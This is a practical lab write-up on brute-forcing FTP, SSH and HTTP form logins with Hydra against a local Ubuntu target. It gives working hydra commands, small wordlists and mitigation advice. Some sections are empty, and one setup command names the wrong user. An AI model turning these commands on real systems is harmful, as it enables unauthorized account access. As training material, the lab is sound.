Breaking the Gate: A Practical Hydra Brute Force Attack Lab

Author

Name: Roland Victor Musa
System Used: Kali Linux , Target OS: Ubuntu Server

Target Service: • Choose a service to attack (e.g.FTP, SSH, HTTP).

• Create a user with a weak password for demonstration purposes.

---

Project Overview

This lab demonstrates how attackers can exploit weak password configurations through brute force attacks using Hydra, a powerful login cracker. Participants simulate real-world penetration testing scenarios targeting common services such as FTP, SSH, and HTTP login forms.

Key Objectives

• Understand brute force attack methodology

• Use Hydra to automate credential guessing

• Target services with known or weak credentials

• Analyze and interpret attack results

• Recommend effective mitigation strategies

Skills Practiced

• Service enumeration and target preparation

• Hydra syntax and module selection

• Building and using custom wordlists

• Basic defense evasion awareness

• Writing professional pentest findings

---

Tools & Environment

---

Step 1: Environment Setup

A. Install Hydra

Check if Hydra is already installed:

If not installed:

sudo apt update

sudo apt install hydra -y

B. Setup Target Service (FTP or SSH)

Step 1: FTP Setup

sudo apt install vsftpd -y

Set up a test user: sudo useradd -m testuser sudo passwd test

Modify config:

sudo nano /etc/vsftpd.conf

Ensure these lines:
local_enable=YES

write_enable=YES

chroot_local_user=YES

allow_writeable_chroot=YES

anonymous_enable=NO

Restart the service:

sudo systemctl restart vsftpd

sudo systemctl status vsftpd

Check the status: sudo systemctl status vsftpd

STEP 2: SSH Setup

sudo apt install openssh-server -y

sudo systemctl start ssh

sudo systemctl enable ssh

Prepare Wordlists

Password List (passwords.txt)

nano passwords.txt

Contents:

123456

password

admin

test

User List (users.txt)

nano users.txt

Contents:

testuser

admin

root

Step 3: Execute Hydra Brute Force

FTP Login Brute Force

hydra -l testuser -P passwords.txt ftp://127.0.0.1

Detailed Explanation

---

What Hydra Does Here

Hydra will:

1. Take the username testuser

2. Read each password line-by-line from passwords.txt

3. Attempt to login to the FTP service at 127.0.0.1 using each password

4. Show the result in real-time in the terminal

SSH Login Brute Force

hydra -l testuser -P passwords.txt ssh://127.0.0.1

Detailed Explanation

---

What Hydra Does Here

Hydra attempts to:

1. Connect to the SSH server running on your localhost (127.0.0.1).

2. Use the username testuser.

3. Loop through every password in passwords.txt.

4. Attempt a login for each user-password pair.

5. Stop when a valid login is found (unless you override this behavior).

HTTP Login Brute Force (POST form)

hydra -l testuser -P passwords.txt 127.0.0.1 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"

Note: Replace /login, username, password, and incorrect based on actual HTML form structure using tools like Burp Suite or browser dev tools.

Detailed Explanation

Recommendations & Mitigation

Analysis

• Weak passwords can be easily guessed via brute force.

• No account lockout leads to unlimited attempts.

Prevention Measures

• Enforce strong passwords (12+ characters, upper/lowercase, digits, symbols)

• Enable account lockout after N failed attempts

• Rate-limit login attempts

• Use 2FA (Two-Factor Authentication)

• Employ tools like Fail2Ban

Conclusion

This practical lab demonstrated how an attacker could exploit weak credentials using Hydra and brute-force techniques. It emphasized the importance of system hardening, strong password policies, and preventive controls.